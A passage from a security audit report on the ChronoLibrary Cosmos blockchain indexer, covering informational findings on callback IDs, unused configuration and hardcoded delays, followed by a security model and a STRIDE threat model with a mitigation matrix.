In `packages/chronostate/src/index.ts:46-47` and `57-58`, `incremental` is incremented before being used as an `id` when adding a callback in the callbacks array. However, `incremental` is initialized as `1` in line `15`, meaning that the first callback will always start with an `id` of `2`, which can be confusing for developers who could expect the first id to be `0` or `1`.

This non-standard indexing approach may confuse developers who are accustomed to zero-based or one-based indexing for the first element, potentially leading to misunderstandings when debugging or working with callback IDs.

Recommendation

We recommend initializing `incremental` to `0` and/or incrementing the value after adding the callback to the array. Functions need to be careful in returning the correct value, as it would become `this.incremental - 1` in this case. It could also be initialized as `-1`, and the existing code could be kept to have IDs start at `0`.

Status: Resolved

31. Limited support for nested `authz MsgExec` transactions

Severity: Informational

In `packages/chronostate/src/utility/index.ts:114`, `messages` is retrieved from the underlying level in case of `authz MsgExec` transactions. However, there may be multiple levels of nested `MsgExec` transactions, but the current implementation only handles one level of nesting.

This limitation means that deeply nested `authz` transactions will not be fully processed, potentially missing important transaction data or failing to extract all relevant messages from complex authorization chains.

Recommendation

We recommend clarifying in the documentation that only one level of nested `authz MsgExec` is supported.

Status: Resolved

32. Unused `lastAction` variable may confuse application developers

Severity: Informational

In `packages/chronosync-sqlite/src/index.ts:12`, the `lastAction` variable is declared and initialized in line `30` within the `handleAction` function, but it is never used anywhere else in the codebase. This unused variable serves no functional purpose and may confuse developers who might expect it to be utilized for tracking the most recent action or for debugging purposes.

Recommendation

We recommend removing the unused `lastAction` variable to simplify the codebase and reduce potential confusion for developers working with the code.

Status: Resolved

33. Unused configuration parameters create unnecessary complexity

Severity: Informational

In `packages/chronosync-mongodb/src/config.ts:5`, the `DATABASE_NAME` value is configured in the `TemporaSyncConfig` type and set in line `34`, but it is never used anywhere in the codebase. The database name is likely already specified within the `MONGO_URI` connection string, making this separate configuration parameter redundant.

Similarly, in `packages/chronosync-postgres/src/config.ts:4` and `packages/chronosync-sqlite/src/config.ts:4`, the `PORT` parameter is defined in the `TemporaSyncConfig` type and set in lines `34` and `27`, respectively, but these values are never used anywhere in their codebases.

These unused configuration parameters add unnecessary complexity to the configuration interface and may confuse developers who might expect them to be utilized for their respective operations.

Recommendation

We recommend removing the unnecessary `DATABASE_NAME` and `PORT` configuration parameters from the respective `TemporaSyncConfig` types and configuration objects to simplify the codebase and reduce potential confusion.

Status: Acknowledged

The client acknowledges this finding with the note that they will revisit this at a later date.

34. Outdated dependency versions may introduce security vulnerabilities

Severity: Informational

In `packages/chronosync-mongodb/package.json:12-17`, `packages/chronosync-postgres/package.json:12-17`, and `packages/chronosync-sqlite/package.json:12-16`, the dependencies include outdated versions that may not include the latest security patches and bug fixes available in newer releases.

Using outdated dependencies can expose applications to known security vulnerabilities, reduce performance, and limit access to newer features and improvements.

Recommendation

We recommend regularly updating dependencies to their latest stable versions and implementing a dependency management strategy to keep dependencies up to date.

Status: Resolved

35. Missing configuration validation may cause runtime failures

Severity: Informational

In `packages/chronostate/src/index.ts:21-33`, the constructor accepts a config parameter but performs no validation on the configuration values. The constructor directly uses configuration parameters without verifying their validity, which can lead to runtime errors or unexpected behavior.

Recommendation

We recommend adding validation in the constructor to ensure configuration parameters have valid values. Consider implementing type checking and range validation for numeric parameters, and throw descriptive errors for invalid configuration values to help developers identify issues early.

Status: Acknowledged

The client acknowledges this finding with the note that they will revisit this at a later date.

36. Use configurable values instead of hardcoded constants

Severity: Informational

ChronoLibrary uses hardcoded values for crucial parameters, which limit its adaptability for developers. For example, in `packages/chronostate/src/index.ts`, several timeout and delay values are fixed within the code.

Specifically, a hardcoded 5-second delay is used when the synchronization process is waiting for new blocks in line `84`. Furthermore, a hardcoded 2-second delay is used for retrying failed block batch fetches and memo fetches in lines `200` and `244`, respectively.

Furthermore, in `packages/chronosync-sqlite/src/database.ts:10`, the path to the SQLite database is hardcoded, which restricts deployment flexibility.

Hardcoding these values prevents users from configuring them to suit their specific needs, potentially leading to inefficient resource usage or poor performance. Developers are forced to modify the library's source code to adjust these parameters, which is not ideal.

Recommendation

We recommend exposing these and other such hardcoded values as part of the configuration. Making these values configurable will make the library more robust and adaptable to various network conditions and application requirements.

Status: Acknowledged

The client acknowledges this finding with the note that they will revisit this at a later date.

Security Model

The security model has been carefully crafted to delineate the various assets, actors, and underlying assumptions of ChronoLibrary. They will then be analyzed in a threat model to outline high-level security risks and proposed mitigations.

The purpose of this security model is to recognize and assess potential threats, as well as the derivation of recommendations for mitigations and counter-measures.

There is a limit to which security risks can be identified by constructing a security/threat model. Some risks may remain undetected and may not be covered in the model described below (see disclaimer).

System Overview

ChronoLibrary is a blockchain event sourcing system that provides deterministic state reconstruction from Cosmos blockchain transactions. The evaluated system consists of three main components:

- **ChronoState**: A blockchain indexer that retrieves and parses transactions with specific memo formats from Cosmos RPC endpoints,
- **ChronoSync**: Live indexing services that store processed blockchain data in databases (MongoDB, PostgreSQL, SQLite variants).
- **ChronoConstructor**: A web library that parses actions from ChronoSync data and executes mapped functions to reconstruct application state,

Assets

The following outlines assets that hold significant value to potential attackers or other stakeholders of the system.

Blockchain transaction data

Original, raw data of blockchain transactions and their memo. The transactions are used to reconstruct the application state in a deterministic fashion. This foundational data must remain authentic and unaltered, as any tampering would propagate through all downstream processing and corrupt the entire application state reconstruction process.

Application state

Reconstructed application state from the blockchain transactions. This includes the integrity of the processed data (when two different processes run the same rules with the same starting point and up to the same block, they should reach the same result). Corruption of this asset can lead to inconsistent behavior across different instances of the same application.

Synchronization state

Current block height, processed transaction state, and indexing progress tracking information. This asset ensures ChronoState knows where it left off during restarts and prevents duplicate or missed block processing. Loss or corruption of synchronization state can lead to data inconsistencies, duplicate processing, or gaps in indexed data.

Configuration data

Cosmos blockchain RPC endpoints, API URLs, connection and retry settings, batch sizes, and other operational parameters that control system behavior. Compromise of these configurations can cause service disruption, redirect the system to malicious endpoints, leading to data poisoning, or cause resource exhaustion.

RPC/API endpoints

Cosmos blockchain RPC endpoints and API servers that provide raw blockchain data to ChronoState. Compromise of these endpoints can lead to data poisoning or cause resource exhaustion. Unavailability of these external dependencies prevents ChronoState from retrieving new blockchain data, causing synchronization delays and potential service degradation for dependent applications.

Database systems

MongoDB, PostgreSQL, and SQLite instances that store processed blockchain transactions. These systems hold the persistent storage layer for all ChronoLibrary operations. Unauthorized access or corruption of database contents directly impacts data integrity and application functionality across all dependent systems. Database unavailability prevents both read and write operations, causing complete service disruption for applications depending on indexed blockchain data.

Credentials for accessing RPC/API endpoints and database instances

Authentication credentials, API keys, database passwords, and access tokens used to connect to external services and internal databases. Exposure of these credentials allows attackers to impersonate the system, access sensitive data, or disrupt operations.

Network connectivity

Internet access to blockchain networks, RPC endpoints, and database connections required for ChronoLibrary operations. Loss of network connectivity prevents blockchain data retrieval and can cause service unavailability. If not secure enough, attackers may exploit network vulnerabilities to intercept or manipulate communications between system components.

Liveness of the ChronoState indexing service

Continuous availability and operation of the blockchain indexing process that retrieves and processes new transactions. Service disruption prevents real-time state updates and can cause applications to operate on stale data. Maintaining service liveness is critical for applications requiring up-to-date blockchain state information.

Stakeholders/Potential Threat Actors

The following outlines the various stakeholders or potential threat actors that interact with the system.

Application developers

Software developers and teams building applications that use ChronoLibrary for state management. They rely on the system's reliability and security to build applications. As stakeholders, they have legitimate interests in system stability and security, but may also introduce vulnerabilities through improper integration, insufficient input validation, or insecure deployment practices.

ChronoState indexer operators

System administrators and DevOps engineers responsible for deploying, configuring, and maintaining ChronoState indexing services in production environments. They have privileged access to system configurations, database credentials, and infrastructure components. While typically trusted, they represent insider threat risks and may accidentally or maliciously compromise system security through configuration changes or credential misuse.

ChronoLibrary developers

Core development team members with commit access to ChronoLibrary repositories, responsible for implementing features, fixing bugs, and maintaining security patches. They have the highest level of system knowledge and code access. As potential threat actors, compromised developer accounts or malicious insiders could introduce backdoors, vulnerabilities, or malicious code directly into the codebase.

Cosmos chain validators

Blockchain validators responsible for maintaining the Cosmos network consensus, processing transactions, and ensuring blockchain integrity. They operate the underlying infrastructure that ChronoLibrary depends on for blockchain data. Compromised or malicious validators could potentially disrupt consensus (require over 33% voting power), manipulate transaction data, or provide false information that corrupts ChronoState's indexed data (require over 66% voting power).

RPC/API server node operators

Organizations and individuals running Cosmos RPC nodes and API endpoints that ChronoState connects to for retrieving blockchain data. They provide critical infrastructure services that ChronoLibrary depends on for accessing authentic blockchain information. As potential threat actors, they could serve malicious data, implement logging to capture sensitive information, or suddenly discontinue services, causing availability issues.

Users

Individual users interacting with applications that depend on ChronoLibrary. They submit transactions on-chain that get processed by the system and consume application services. They may be at risk of attacks such as social engineering, phishing, and unauthorized access to wallets.

Supply chain

The software supply chain encompasses various components like libraries, development tools, npm packages, and other external dependencies used within ChronoLibrary codebase. If any of these components are compromised or contain vulnerabilities, it could lead to the introduction of vulnerabilities, backdoors, or malicious code affecting all ChronoLibrary deployments.

Malicious actors

External or internal parties may attempt to exploit the system through various attack vectors, including the submission of malicious blockchain transactions with memos specifically crafted to exploit parsing vulnerabilities.

Assumptions

The following outlines various assumptions upon which the system's functioning is predicated.

Blockchain and transaction data integrity

The underlying Cosmos blockchain maintains cryptographic integrity, immutability of committed transactions, and reliable consensus mechanisms that ensure transaction authenticity and proper ordering.

ChronoLibrary assumes that the blockchain layer provides a trustworthy foundation where committed transactions cannot be altered retroactively.

This assumption is critical to the entire event sourcing model, as any compromise at the blockchain level would completely invalidate the state reconstruction.

RPC/API endpoints providing authentic blockchain data

ChronoState relies on Cosmos RPC endpoints and blockchain APIs to provide accurate, unmanipulated transaction data and block information. The system assumes these endpoints faithfully represent the actual blockchain state without injecting false transactions, modifying transaction content, or omitting legitimate transactions.

This trust relationship is critical because ChronoState uses this data as the trusted source for state reconstruction, making data authenticity essential for system reliability.

Honest operator behavior and secure operational practices

ChronoState indexer operators and system administrators act honestly and follow security best practices when managing the systems.

This includes proper credential management, secure configuration of API endpoints and database connections, implementation of appropriate monitoring and alerting systems, and adherence to operational security procedures.

Secure infrastructure deployment and access controls

The deployment environment maintains proper security controls, including secure database configurations with strong authentication, protected network communications over encrypted channels, and adequate access controls preventing unauthorized system access.

This assumption covers both the hosting infrastructure and the operational security practices, ensuring that the security boundaries protecting ChronoLibrary components remain intact and properly configured.

Sufficient system resources and proper input validation

The deployment environment provides adequate computational resources, memory, and network capacity to handle expected workloads without resource exhaustion.

Additionally, applications integrating ChronoLibrary implement proper input validation and sanitization of user-provided data, particularly transaction memos.

This assumption ensures that the system can operate reliably under normal conditions.

Threat Model

Process Applied

The process for analyzing the system for potential threats and building a comprehensive model is based on the approach first pioneered by Microsoft in 1999, which has developed into the STRIDE model (https://docs.microsoft.com/en-us/previous-versions/commerce-server/ee823878(v=cs.20)).

Whilst STRIDE is aimed at traditional software systems, it is generic enough to provide a threat classification suitable for blockchain applications with little adaptation (see below). The result of the STRIDE classification has then been applied to a risk management matrix with simple countermeasures and mitigations suitable for blockchain applications.

STRIDE Interpretation in the Blockchain Context

STRIDE was first designed for closed software applications in permissioned environments with limited network capabilities. However, the classification provided can be adapted to blockchain systems with small adaptations. The table below highlights a blockchain-centric interpretation of the STRIDE classification:

Spoofing	In a blockchain context, the authenticity of communications is built into the underlying cryptographic public key infrastructure. However, spoofing attack vectors can occur at the off-chain level and within a social engineering paradigm. An example of the former is a Sybil attack where an actor uses multiple cryptographic entities to manipulate a system (wash-trading, auction smart contract manipulation, etc.). The latter usually consists of attackers imitating well-known actors, for instance, the creation of an impersonation token smart contract with a malicious implementation.
Tampering	Similar to spoofing, tampering with data is usually not directly relevant to blockchain data itself due to cryptographic integrity. It can still occur, for example, through compromised developers of the protocol that have access to deployment keys or through supply chain attacks that manage to inject malicious code or substitute trusted software that interacts with the blockchain (node software, wallets, libraries).
Repudiation	Repudiation, i.e., the ability of an actor to deny that they have taken action, is usually not relevant at the transaction level of blockchains. However, it makes sense to maintain this category, since it may apply to additional software used in blockchain applications, such as user-facing web services. An example is the claim of a loss of a private key and, hence, assets.
Information Disclosure	Information disclosure has to be treated differently at the blockchain layer and the off-chain layer. Since the blockchain state is inherently public in most systems, information leakage here relates to data that is discoverable on the blockchain, even if it should be protected. Predictable random number generation could be classified as such, in addition to simply storing private data on the blockchain. In some cases, information in the mempool (pending/unconfirmed transactions) can be exploited in front-running or sandwich attacks. At the off-chain layer, the leakage of private keys is a good example of operational threat vectors.
Denial of Service	Denial of service threat vectors translate directly to blockchain systems at the infrastructure level. At the smart contract or protocol layer, there are more subtle DoS threats, such as

	unbounded iterations over data structures that could be exploited to make certain transactions not executable.
Elevated Privileges	Elevated privilege attack vectors directly translate to blockchain services. Faulty authorization at the smart contract level is an example where users might obtain access to functionality that should not be accessible.

STRIDE Classification

The following threat vectors have been identified using the STRIDE classification, grouped by components of the system.

	Spoofing	**Tampering**	**Repudiation**	**Information Disclosure**	**Denial of Service**	**Elevated Privileges**
ChronoState	RPC/API endpoint spoofing API response tampering Cosmos API data poisoning	Configuration manipulation Memo injection attacks	-	-	Memory exhaustion RPC/API server unavailability	-
ChronoSync	-	Database tampering	Operator deleting database records and denying doing so	Database credential exposure	Database connection pool exhaustion	-
ChronoConstructor	-	Memo injection attacks	-	-	Malicious memo DoS JSON processing DoS	Frontend XSS via stored memo data
Config & Infrastruct	-	-	Users disputing	Configuration data	-	Supply chain

ure			action processing Configuration change tracking	exposure		privilege escalation

Mitigation Matrix

The following mitigation matrix describes each of the threat vectors identified in the STRIDE classification above, assigning an impact and likelihood and suggesting countermeasures and mitigation strategies. Countermeasures can be taken to identify and react to a threat, while mitigation strategies prevent a threat or reduce its impact or likelihood.

ChronoState Blockchain Indexer

Threat Vector	**Impact**	**Likelihood**	**Mitigation**	**Countermeasures**
RPC/API endpoint spoofing Attackers set up fake endpoints impersonating legitimate blockchain APIs, redirecting ChronoState to malicious servers through DNS poisoning or endpoint configuration manipulation	High	Low	Use multiple, geographically diverse RPC endpoints; cross-validate data between endpoints; use authenticated RPC endpoints; favor directly controlled RPCs	Immediately isolate affected systems; validate all historical data against trusted sources; rebuild state from verified endpoints
API response tampering Man-in-the-middle attacks intercept and modify API responses during transit.	High	Low	Implement HTTPS/TLS for all communications; validate response signatures where available	Stop processing until secure communications are restored; audit and revalidate recent transactions
Cosmos API data poisoning Compromised or malicious RPC/API endpoints provide false blockchain data,	High	Low	Multi-source data validation; consensus validation across multiple RPC/API endpoints	Halt indexing operations immediately; identify contamination timeframe;

corrupting the entire off-chain state.				restore from clean backup; rebuild state from trusted sources
Configuration manipulation Malicious modification of API endpoints, chain configurations, or system settings.	High	Medium	Secure configuration management; validate configuration integrity; restrict configuration access	Revert to last known good configuration; audit all configuration changes; restart services with validated settings
Memo injection attacks Malicious actors submit transactions with crafted memo content designed to exploit parsing vulnerabilities.	Medium	High	Implement robust input validation, length limits, and content restrictions; graceful error handling	Identify and block malicious transaction patterns; update parsing logic; restart indexing services
Memory exhaustion Large batch processing or malicious JSON payloads in memos consuming excessive memory, leading to crashes	Medium	High	Implement memory limits, batch size restrictions, resource monitoring, and alerting	Restart affected services; reduce batch sizes temporarily; identify and block memory-intensive operations
RPC/API server unavailability Blockchain RPC/API endpoints become unavailable, preventing data retrieval and state synchronization.	Medium	High	Multiple API endpoint fallback; timeout mechanisms; graceful error handling; prepare emergency contacts with RPC providers	Switch to backup RPC endpoints; implement manual failover; establish emergency communication with RPC providers

ChronoSync Database Storage

Threat Vector	Impact	Likelihood	Mitigation	Countermeasures
Database tampering Attackers gain direct access to the database and alter/delete historical records, corrupting application state.	High	Low	Secure database hosting; strong credentials; comprehensive monitoring and access logging.	Immediately revoke all database access, perform forensic analysis to identify modifications, restore from trusted backup, and reconstruct the database.
Operator deleting database records and denying doing so An operator with database access could delete records of processed actions and deny they ever occurred.	High	Low	Comprehensive monitoring, access logging, and database audit tables.	Immediately revoke all database access, perform forensic analysis to identify modifications, restore from trusted backup, and reconstruct the database.
Database credential exposure Environment variables containing database credentials exposed through logs, configuration files, or process inspection.	High	Medium	Secure credential management systems; encrypt sensitive credentials.	Immediately rotate all exposed credentials; audit database access logs; revoke compromised access; implement new credentials
Database connection pool exhaustion	Medium	High	Implement connection	Restart database

High-volume transaction processing or connection leaks consume all available database connections, preventing new operations.			pooling with proper connection release, connection timeouts, monitoring, and alerting.	services, kill idle connections, implement connection limits, and scale database resources temporarily.

ChronoConstructor State Parser

Threat Vector	Impact	Likelihood	Mitigation	Countermeasures
Memo injection attacks Malicious transaction memos exploit parsing logic bugs, causing application state corruption.	Medium	High	Robust input validation, error handling, and memo parsing limits.	Identify problematic memo patterns; implement emergency filtering; restart services with updated validation.
Malicious memo DoS Crafted transaction memos exploit parsing logic bugs, causing application crashes.	Medium	High	Robust input validation, error handling, and memo parsing limits.	Identify problematic memo patterns, implement emergency filtering, and restart services with updated validation.
JSON processing DoS Extremely large JSON payloads or deeply nested objects can cause stack overflow or memory exhaustion	Medium	Medium	Response size limits and JSON parsing depth limits.	Implement emergency payload size restrictions and restart affected components.

Frontend XSS via stored memo data Applications displaying memo content without sanitization are vulnerable to cross-site scripting	High	High	Output encoding and sanitization, strict Content Security Policy, and input validation	Identify and sanitize malicious memo content, implement emergency content filtering, update frontend security measures, and notify users.

Configuration & Infrastructure

Threat Vector	Impact	Likelihood	Mitigation	Countermeasures
Users disputing action processing Difficulty proving which actions were processed or in what order.	Medium	Medium	Implement comprehensive audit logging, maintain processing history, and add action ordering validation.	Reconstruct processing timeline from available data; establish incident documentation.
Configuration change tracking Lack of accountability for system configuration modifications.	Low	Medium	Implement configuration change logging and role-based access controls.	Interview staff to identify changes, and review git and system logs for clues.
Configuration data exposure Sensitive configuration, including internal system information exposed through error messages or files.	Medium	Medium	Sanitize error messages; secure configuration file permissions; implement proper exception handling.	Assess the disclosed information, and change internal configurations if sensitive. Improve access controls.

Supply chain privilege escalation Compromised dependencies contain malicious code that could execute with application privileges.	High	Low	Regular dependency updates, automated vulnerability scanning, and dependency integrity verification	Isolate affected systems, scan for malicious activity, revert to clean dependency versions, and conduct a security audit.